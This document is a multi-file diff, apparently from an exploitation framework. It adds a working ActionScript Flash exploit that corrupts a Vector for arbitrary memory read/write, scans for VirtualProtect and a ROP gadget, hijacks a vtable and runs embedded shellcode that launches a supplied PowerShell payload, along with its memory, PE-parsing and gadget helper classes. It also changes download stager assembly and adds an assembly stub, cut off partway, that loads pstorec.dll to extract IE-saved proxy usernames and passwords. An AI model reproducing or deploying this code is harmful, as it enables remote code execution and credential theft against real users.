// at this point we are sandwiched on the stack between the current
|
||||
// frame and the previous frame; this is hazardous, we need to
|
||||
// shift our stack back above the current frame or things will go
|
||||
// wrong(tm).
|
||||
v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000
|
||||
v[i++] = 0x90900000;
|
||||
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
|
||||
|
||||
// Our payload (see GetPayload)
|
||||
for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
|
||||
v[i++] = myshellcode[payload_i];
|
||||
}
|
||||
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
|
||||
|
||||
|
||||
// we just put things back how they were; at least, everything
|
||||
// important. we need esp and ebp to be correct, which is easy;
|
||||
// we need ecx to point to the object's vtable and then we can
|
||||
// just jump to the actual method implementation as though we
|
||||
// had hooked it.
|
||||
|
||||
v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8
|
||||
v[i++] = 0x90900000;
|
||||
v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c]
|
||||
v[i++] = 0x90000012;
|
||||
v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr
|
||||
v[i++] = ptr;
|
||||
v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr
|
||||
v[i++] = fun;
|
||||
v[i++] = 0x9090e0ff; // FFE0 jmp eax
|
||||
}
|
||||
|
||||
public function GetPayload():Array {
|
||||
// Grab the powershell payload from the sh parameter in the HTML file
|
||||
var b64:Base64Decoder = new Base64Decoder();
|
||||
var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
|
||||
b64.decode(raw_psh_payload);
|
||||
var psh_payload:String = b64.toByteArray().toString();
|
||||
|
||||
// This is generated from here:
|
||||
// ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none
|
||||
// The original souce can be found at: msf/externa/source/shellcode/single_exec.asm
|
||||
var payload:String = "" +
|
||||
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" +
|
||||
"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
|
||||
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" +
|
||||
"\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
|
||||
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
|
||||
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
|
||||
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" +
|
||||
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
|
||||
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";
|
||||
|
||||
// Here we convert the binary string to an array of DWORDS
|
||||
var arr:Array = new Array();
|
||||
for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
|
||||
var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
|
||||
var hex:String = "";
|
||||
for (var i2:int = 0; i2 < dword.length; i2++) {
|
||||
var byte:String = dword.charCodeAt(i2).toString(16);
|
||||
// The toString(16) conversion doesn't print zeros the way we want it.
|
||||
// Like for example: for a null byte, it returns: '0', but the format should be: '00'
|
||||
// Another example: For 0x0c, it returns 'c', but it should be '0c'
|
||||
if (byte == '0') {
|
||||
byte = "00";
|
||||
} else if (byte.length == 1) {
|
||||
byte = '0' + byte;
|
||||
}
|
||||
hex += byte;
|
||||
}
|
||||
var real_dword:uint = parseInt(hex, 16);
|
||||
arr.push(real_dword);
|
||||
}
|
||||
|
||||
return arr;
|
||||
}
|
||||
|
||||
|
||||
public function Main() {
|
||||
i = 0;
|
||||
|
||||
Initialise();
|
||||
|
||||
var r:RegExp = CompileRegex();
|
||||
if (r == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Debug("Corrupting Vector");
|
||||
|
||||
var v:Vector.<uint> = CorruptVector(r);
|
||||
if (v == null) {
|
||||
Debug("CorruptVector returns null");
|
||||
return;
|
||||
}
|
||||
|
||||
var m:Memory = new Memory(v, v[0], 0x6e);
|
||||
|
||||
// at this point we have an absolute read/write primitive letting
|
||||
// us read and write dwords anywhere in memory, so everything else
|
||||
// is a technicality.
|
||||
|
||||
// we need an exception handler from here, because we have a vector
|
||||
// that's addressing the whole address space, and if anything goes
|
||||
// wrong, we want to clean that up or things will get unpleasant.
|
||||
|
||||
try {
|
||||
|
||||
// first we follow some pointers on the heap back to retrieve
|
||||
// the address of the static GCHeap object in the flash module.
|
||||
|
||||
// this is useful for two reasons; firstly it gives us a
|
||||
// pointer into the flash module, but secondly (and more
|
||||
// importantly) we can use the region lists in the GCHeap
|
||||
// structure to safely scan the heap to find things.
|
||||
|
||||
var gcheap:uint = FindGCHeap(m);
|
||||
if (gcheap == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// now we can parse the flash module in memory, locate useful
|
||||
// imports and find the stack adjust gadget that we need.
|
||||
|
||||
Debug('[*] scanning flash module for gadgets');
|
||||
var p:PE32 = new PE32(m, gcheap);
|
||||
|
||||
Debug(' [-] ' + p.base.toString(16) + ' flash base');
|
||||
|
||||
var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
|
||||
Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');
|
||||
|
||||
// Find this in Flash
|
||||
// 81 c4 40 00 00 00 add esp, 40h
|
||||
// c3 ret
|
||||
var gadget_bytes:ByteArray = new ByteArray();
|
||||
gadget_bytes.length = 7;
|
||||
gadget_bytes.writeByte(0x81);
|
||||
gadget_bytes.writeByte(0xc4);
|
||||
gadget_bytes.writeByte(0x40);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0xc3);
|
||||
|
||||
var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes);
|
||||
var ret:uint = add_esp_40h_ret + 6;
|
||||
Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret');
|
||||
Debug(' [-] ' + ret.toString(16) + ' ret');
|
||||
|
||||
// now we create an actionscript class that we can readily
|
||||
// signature on the heap; we're going to find this object and
|
||||
// overwrite its vtable pointer to gain control of execution.
|
||||
|
||||
Debug('[*] scanning heap to find pwned object');
|
||||
var pwned:Pwned = new Pwned();
|
||||
var pwned_ptr:uint = FindPwned(m, gcheap);
|
||||
Debug('[*] pwned object: ' + pwned_ptr.toString(16));
|
||||
if (pwned_ptr == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// we have a pointer to the object; save the vtable pointer for
|
||||
// replacement later and then create a new vtable containing
|
||||
// our gadget at the correct offset for the 'Rop' function.
|
||||
|
||||
// object ptr is actually a ScriptObject* for our ClassClosure?
|
||||
var object_ptr:uint = m.read_dword(pwned_ptr + 8);
|
||||
var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4);
|
||||
var method_ptr:uint = m.read_dword(vtable_ptr + 4);
|
||||
|
||||
var shellcode:uint = m.vector_base + 4;
|
||||
|
||||
WriteShellcode(v, 1, vtable_ptr, method_ptr);
|
||||
|
||||
// invoking the method first makes our life simpler; otherwise
|
||||
// flash will go hunt for the right method, and recovery was
|
||||
// quite messy.
|
||||
|
||||
var a:uint = 0x61616161;
|
||||
pwned.Rop(
|
||||
a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret);
|
||||
|
||||
// overwrite the method pointer
|
||||
m.write_dword(vtable_ptr + 4, add_esp_40h_ret);
|
||||
|
||||
// fix up our vector length already, since we won't need it again.
|
||||
m.Cleanup();
|
||||
|
||||
var PAGE_EXECUTE_READWRITE:uint = 0x40;
|
||||
|
||||
// where better to rop than the actual stack :-P
|
||||
Debug('[*] getting ma rop on');
|
||||
pwned.Rop(
|
||||
|
||||
// ret sled oh yeah!
|
||||
|
||||
// actually this is just me lazily making stack space so
|
||||
// that VirtualProtect doesn't trample all over any of
|
||||
// flash's stuff and make it have a sad.
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // 3f
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // 7f
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // cf
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
|
||||
virtual_protect, // BOOL WINAPI VirtualProtect(
|
||||
shellcode, // ...
|
||||
shellcode, // LPVOID lpAddress,
|
||||
0x1000, // SIZE_T dwSize,
|
||||
PAGE_EXECUTE_READWRITE, // DWORD flNewProtect,
|
||||
m.vector_base, // LPDWORD lpflOldProtect
|
||||
// );
|
||||
|
||||
0x41414141, 0x41414141);
|
||||
|
||||
Debug('[*] we survived!');
|
||||
|
||||
// no need to fix the vtable, as we only overwrote the pointer
|
||||
// for the Rop method, and it won't get called again.
|
||||
|
||||
} catch (e:Error) {
|
||||
Debug('[!] error: ' + e.message);
|
||||
} finally {
|
||||
// we *always* need to clean up our corrupt vector as flash
|
||||
// will try to zero it out later otherwise...
|
||||
|
||||
Debug('[*] cleaning up corrupted vector');
|
||||
m.Cleanup();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,150 @@
|
|||
package
|
||||
{
|
||||
// some utilities to encapsulate using the relative read/write of the
|
||||
// corrupt vector.<uint> as an absolute read/write of the whole address
|
||||
// space.
|
||||
public class Memory
|
||||
{
|
||||
public var vector:Vector.<uint>;
|
||||
public var vector_base:uint;
|
||||
public var vector_size:uint;
|
||||
|
||||
private static function negative(i:uint):uint {
|
||||
return (~i) + 1;
|
||||
}
|
||||
|
||||
public function Memory(v:Vector.<uint>, b:uint, s:uint) {
|
||||
vector = v;
|
||||
vector_base = b;
|
||||
vector_size = s;
|
||||
}
|
||||
|
||||
public function Cleanup():void {
|
||||
|
||||
// restore the correct size to our vector so that flash doesn't
|
||||
// inadvertently trample on lots of memory.
|
||||
|
||||
vector[negative(2)] = vector_size;
|
||||
}
|
||||
|
||||
public function read_dword(address:uint):uint {
|
||||
var offset:uint = 0;
|
||||
|
||||
if (address & 0x3 != 0) {
|
||||
|
||||
// NB: we could read 2 dwords here, and produce the correct
|
||||
// dword, but that could lead to oob reads if we're close to
|
||||
// a page boundary. take the path of least danger, and throw
|
||||
// for debugging.
|
||||
|
||||
throw 'read_dword called with misaligned address'
|
||||
}
|
||||
|
||||
if (address < vector_base) {
|
||||
offset = negative((vector_base - address) >> 2);
|
||||
}
|
||||
else {
|
||||
offset = address - vector_base >> 2;
|
||||
}
|
||||
|
||||
try {
|
||||
return vector[offset];
|
||||
} catch (e:Error) {
|
||||
|
||||
// we can't read at offset 0xffffffff, sometimes we will want
|
||||
// to, but that is just life.
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function read_byte(address:uint):uint {
|
||||
var dword_address:uint = address & 0xfffffffc;
|
||||
var dword:uint = read_dword(dword_address);
|
||||
|
||||
while (address & 0x3) {
|
||||
dword = dword >> 8;
|
||||
address -= 1;
|
||||
}
|
||||
|
||||
return (dword & 0xff);
|
||||
}
|
||||
|
||||
public function read_string(address:uint):String {
|
||||
var string:String = '';
|
||||
var dword:uint = 0;
|
||||
|
||||
while (address & 0x3) {
|
||||
var char:uint = read_byte(address);
|
||||
|
||||
if (char == 0) {
|
||||
return string;
|
||||
}
|
||||
|
||||
string += String.fromCharCode(char);
|
||||
address += 1;
|
||||
}
|
||||
|
||||
while (true) {
|
||||
dword = read_dword(address);
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
address += 4;
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
public function write_dword(address:uint, value:uint):void {
|
||||
var offset:uint = 0;
|
||||
|
||||
if (address & 0x3 != 0) {
|
||||
|
||||
// NB: we could read 2 dwords here, and write 2 dwords, and
|
||||
// produce the correct dword, but that could lead to oob reads
|
||||
// and writes if we're close to a page boundary. take the path
|
||||
// of least danger, and throw for debugging.
|
||||
|
||||
throw 'write_dword called with misaligned address'
|
||||
}
|
||||
|
||||
if (address < vector_base) {
|
||||
offset = negative((vector_base - address) >> 2);
|
||||
}
|
||||
else {
|
||||
offset = (address - vector_base) >> 2;
|
||||
}
|
||||
|
||||
vector[offset] = value;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,157 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray;
|
||||
|
||||
public class PE32
|
||||
{
|
||||
private var m:Memory;
|
||||
|
||||
public var base:uint;
|
||||
public var dos_header:uint;
|
||||
public var nt_header:uint;
|
||||
public var file_header:uint;
|
||||
public var opt_header:uint;
|
||||
|
||||
private function FindBase(ptr:uint):uint {
|
||||
ptr = ptr & 0xffff0000;
|
||||
var dword:uint = m.read_dword(ptr);
|
||||
|
||||
while ((dword & 0xffff) != 0x5a4d) {
|
||||
ptr -= 0x10000;
|
||||
dword = m.read_dword(ptr);
|
||||
}
|
||||
|
||||
return ptr;
|
||||
}
|
||||
|
||||
public function ParseHeaders():void {
|
||||
dos_header = base;
|
||||
var e_lfanew:uint = m.read_dword(dos_header + 60);
|
||||
|
||||
nt_header = dos_header + e_lfanew;
|
||||
var nt_magic:uint = m.read_dword(nt_header);
|
||||
if (nt_magic != 0x00004550) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
file_header = nt_header + 4;
|
||||
var machine:uint = m.read_dword(file_header);
|
||||
if ((machine & 0xffff) != 0x014c) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
file_header = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
opt_header = nt_header + 24;
|
||||
var opt_magic:uint = m.read_dword(opt_header);
|
||||
if ((opt_magic & 0xffff) != 0x10b) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
file_header = 0;
|
||||
opt_header = 0;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
public function GetImport(mod_name:String, fun_name:String):uint {
|
||||
if (base == 0 || dos_header == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
var data_directory:uint = opt_header + 96;
|
||||
|
||||
var import_dir:uint = data_directory + 8;
|
||||
var import_rva:uint = m.read_dword(import_dir);
|
||||
var import_size:uint = m.read_dword(import_dir + 4);
|
||||
if (import_size == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
var import_descriptor:uint = base + import_rva;
|
||||
var orig_first_thunk:uint = m.read_dword(import_descriptor);
|
||||
while (orig_first_thunk != 0) {
|
||||
|
||||
var module_name_ptr:uint =
|
||||
dos_header + m.read_dword(import_descriptor + 12);
|
||||
|
||||
if (module_name_ptr != 0) {
|
||||
var module_name:String = m.read_string(module_name_ptr);
|
||||
if (module_name == mod_name) {
|
||||
orig_first_thunk += dos_header;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
import_descriptor += (5 * 4);
|
||||
orig_first_thunk = m.read_dword(import_descriptor);
|
||||
}
|
||||
|
||||
var first_thunk:uint = dos_header + m.read_dword(import_descriptor + 16);
|
||||
var thunk:uint = orig_first_thunk;
|
||||
var import_by_name_rva:uint = m.read_dword(thunk);
|
||||
while (import_by_name_rva != 0) {
|
||||
var function_name_ptr:uint = dos_header + import_by_name_rva + 2;
|
||||
|
||||
var function_name:String = m.read_string(function_name_ptr);
|
||||
if (function_name == fun_name) {
|
||||
return m.read_dword(first_thunk);
|
||||
}
|
||||
|
||||
thunk += 4;
|
||||
first_thunk += 4;
|
||||
import_by_name_rva = m.read_dword(thunk);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function GetGadget(gadget:ByteArray):uint {
|
||||
var opt_header_size:uint = m.read_dword(file_header + 16) & 0xffff;
|
||||
var section_count:uint = (m.read_dword(file_header) >> 16) & 0xffff;
|
||||
var section_header:uint = opt_header + opt_header_size;
|
||||
|
||||
for (var i:uint = 0; i < section_count; ++i) {
|
||||
var characteristics:uint = m.read_dword(section_header + (9 * 4));
|
||||
|
||||
if ((characteristics & 0xe0000000) == 0x60000000) {
|
||||
// this section is read/execute, so scan for gadget
|
||||
|
||||
var section_rva:uint = m.read_dword(section_header + 12);
|
||||
var section_size:uint = m.read_dword(section_header + 16);
|
||||
var section_base:uint = base + section_rva;
|
||||
var section:ByteArray = new ByteArray();
|
||||
section.endian = "littleEndian";
|
||||
section.length = section_size;
|
||||
|
||||
for (var j:uint = 0; j < section_size; j += 4) {
|
||||
section.writeUnsignedInt(
|
||||
m.read_dword(section_base + j));
|
||||
}
|
||||
|
||||
for (j = 0; j < section_size; j += 1) {
|
||||
section.position = j;
|
||||
gadget.position = 0;
|
||||
while (section.readByte() == gadget.readByte()) {
|
||||
if (gadget.position == gadget.length) {
|
||||
return section_base + j;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
section_header += 10 * 5;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function PE32(memory:Memory, ptr:uint) {
|
||||
m = memory;
|
||||
base = FindBase(ptr);
|
||||
ParseHeaders();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,51 @@
|
|||
package
|
||||
{
|
||||
public class Pwned
|
||||
{
|
||||
public var magic1:uint;
|
||||
public var magic2:uint;
|
||||
|
||||
public function Rop(
|
||||
arg_00:uint, arg_01:uint, arg_02:uint, arg_03:uint, arg_04:uint, arg_05:uint, arg_06:uint, arg_07:uint,
|
||||
arg_08:uint, arg_09:uint, arg_0a:uint, arg_0b:uint, arg_0c:uint, arg_0d:uint, arg_0e:uint, arg_0f:uint,
|
||||
arg_10:uint, arg_11:uint, arg_12:uint, arg_13:uint, arg_14:uint, arg_15:uint, arg_16:uint, arg_17:uint,
|
||||
arg_18:uint, arg_19:uint, arg_1a:uint, arg_1b:uint, arg_1c:uint, arg_1d:uint, arg_1e:uint, arg_1f:uint,
|
||||
arg_20:uint, arg_21:uint, arg_22:uint, arg_23:uint, arg_24:uint, arg_25:uint, arg_26:uint, arg_27:uint,
|
||||
arg_28:uint, arg_29:uint, arg_2a:uint, arg_2b:uint, arg_2c:uint, arg_2d:uint, arg_2e:uint, arg_2f:uint,
|
||||
arg_30:uint, arg_31:uint, arg_32:uint, arg_33:uint, arg_34:uint, arg_35:uint, arg_36:uint, arg_37:uint,
|
||||
arg_38:uint, arg_39:uint, arg_3a:uint, arg_3b:uint, arg_3c:uint, arg_3d:uint, arg_3e:uint, arg_3f:uint,
|
||||
arg_40:uint, arg_41:uint, arg_42:uint, arg_43:uint, arg_44:uint, arg_45:uint, arg_46:uint, arg_47:uint,
|
||||
arg_48:uint, arg_49:uint, arg_4a:uint, arg_4b:uint, arg_4c:uint, arg_4d:uint, arg_4e:uint, arg_4f:uint,
|
||||
arg_50:uint, arg_51:uint, arg_52:uint, arg_53:uint, arg_54:uint, arg_55:uint, arg_56:uint, arg_57:uint,
|
||||
arg_58:uint, arg_59:uint, arg_5a:uint, arg_5b:uint, arg_5c:uint, arg_5d:uint, arg_5e:uint, arg_5f:uint,
|
||||
arg_60:uint, arg_61:uint, arg_62:uint, arg_63:uint, arg_64:uint, arg_65:uint, arg_66:uint, arg_67:uint,
|
||||
arg_68:uint, arg_69:uint, arg_6a:uint, arg_6b:uint, arg_6c:uint, arg_6d:uint, arg_6e:uint, arg_6f:uint,
|
||||
arg_70:uint, arg_71:uint, arg_72:uint, arg_73:uint, arg_74:uint, arg_75:uint, arg_76:uint, arg_77:uint,
|
||||
arg_78:uint, arg_79:uint, arg_7a:uint, arg_7b:uint, arg_7c:uint, arg_7d:uint, arg_7e:uint, arg_7f:uint,
|
||||
arg_80:uint, arg_81:uint, arg_82:uint, arg_83:uint, arg_84:uint, arg_85:uint, arg_86:uint, arg_87:uint,
|
||||
arg_88:uint, arg_89:uint, arg_8a:uint, arg_8b:uint, arg_8c:uint, arg_8d:uint, arg_8e:uint, arg_8f:uint,
|
||||
arg_90:uint, arg_91:uint, arg_92:uint, arg_93:uint, arg_94:uint, arg_95:uint, arg_96:uint, arg_97:uint,
|
||||
arg_98:uint, arg_99:uint, arg_9a:uint, arg_9b:uint, arg_9c:uint, arg_9d:uint, arg_9e:uint, arg_9f:uint,
|
||||
arg_a0:uint, arg_a1:uint, arg_a2:uint, arg_a3:uint, arg_a4:uint, arg_a5:uint, arg_a6:uint, arg_a7:uint,
|
||||
arg_a8:uint, arg_a9:uint, arg_aa:uint, arg_ab:uint, arg_ac:uint, arg_ad:uint, arg_ae:uint, arg_af:uint,
|
||||
arg_b0:uint, arg_b1:uint, arg_b2:uint, arg_b3:uint, arg_b4:uint, arg_b5:uint, arg_b6:uint, arg_b7:uint,
|
||||
arg_b8:uint, arg_b9:uint, arg_ba:uint, arg_bb:uint, arg_bc:uint, arg_bd:uint, arg_be:uint, arg_bf:uint,
|
||||
arg_c0:uint, arg_c1:uint, arg_c2:uint, arg_c3:uint, arg_c4:uint, arg_c5:uint, arg_c6:uint, arg_c7:uint,
|
||||
arg_c8:uint, arg_c9:uint, arg_ca:uint, arg_cb:uint, arg_cc:uint, arg_cd:uint, arg_ce:uint, arg_cf:uint,
|
||||
arg_d0:uint, arg_d1:uint, arg_d2:uint, arg_d3:uint, arg_d4:uint, arg_d5:uint, arg_d6:uint, arg_d7:uint,
|
||||
arg_d8:uint, arg_d9:uint, arg_da:uint, arg_db:uint, arg_dc:uint, arg_dd:uint, arg_de:uint, arg_df:uint,
|
||||
arg_e0:uint, arg_e1:uint, arg_e2:uint, arg_e3:uint, arg_e4:uint, arg_e5:uint, arg_e6:uint, arg_e7:uint,
|
||||
arg_e8:uint, arg_e9:uint, arg_ea:uint, arg_eb:uint, arg_ec:uint, arg_ed:uint, arg_ee:uint, arg_ef:uint,
|
||||
arg_f0:uint, arg_f1:uint, arg_f2:uint, arg_f3:uint, arg_f4:uint, arg_f5:uint, arg_f6:uint, arg_f7:uint,
|
||||
arg_f8:uint, arg_f9:uint, arg_fa:uint, arg_fb:uint, arg_fc:uint, arg_fd:uint, arg_fe:uint, arg_ff:uint):uint
|
||||
{
|
||||
return magic1 + magic2;
|
||||
}
|
||||
|
||||
public function Pwned()
|
||||
{
|
||||
magic1 = 0xdecafbad;
|
||||
magic2 = 0xdecafbad;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,5 +1,15 @@
|
|||
#!/bin/bash
|
||||
|
||||
# This requires Java 1.7 or earlier because it uses private APIs.
|
||||
# See http://kris-sigur.blogspot.com/2014/10/heritrix-java-8-and-sunsecuritytoolskey.html
|
||||
# for more information.
|
||||
|
||||
# Attempt to use Java 1.6 when building on OS X, otherwise JAVA_HOME needs to
|
||||
# be set manually.
|
||||
if [ -x /usr/libexec/java_home ]; then
|
||||
export JAVA_HOME=$(/usr/libexec/java_home -v 1.6)
|
||||
fi
|
||||
|
||||
javac -classpath $JAVA_HOME/lib/tools.jar:. javaCompile/*.java
|
||||
|
||||
jar -cf msfJavaToolkit.jar javaCompile/*.class
|
||||
|
|
|
@ -145,7 +145,7 @@ download_more:
|
|||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov rax, [rdi]
|
||||
mov ax, word ptr [edi]
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
|
||||
test rax,rax ; optional?
|
||||
|
|
|
@ -0,0 +1,209 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Unknown
|
||||
; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'
|
||||
; Output: top element of stack will be pointer to null-terminated password and
|
||||
; second will be pointer to null-terminated username of the Proxy saved in IE
|
||||
|
||||
pushad
|
||||
jmp after_functions
|
||||
|
||||
alloc_memory: ; returns address to allocation in eax
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x1000 ; allocate 1000 byte for each variable (could be less)
|
||||
push 0 ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$
|
||||
ret ;
|
||||
;
|
||||
after_functions: ;
|
||||
;
|
||||
; allocate memory for variables and save pointers on stack
|
||||
mov bl, 9 ;
|
||||
alloc_loop: ;
|
||||
call alloc_memory ;
|
||||
push eax ; save allocation address on stack
|
||||
dec bl ;
|
||||
jnz alloc_loop ;
|
||||
;
|
||||
load_pstorec: ; loads the pstorec.dll
|
||||
push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack.
|
||||
push 0x6f747370 ; ...
|
||||
push esp ; Push a pointer to the 'pstorec',0 string on the stack.
|
||||
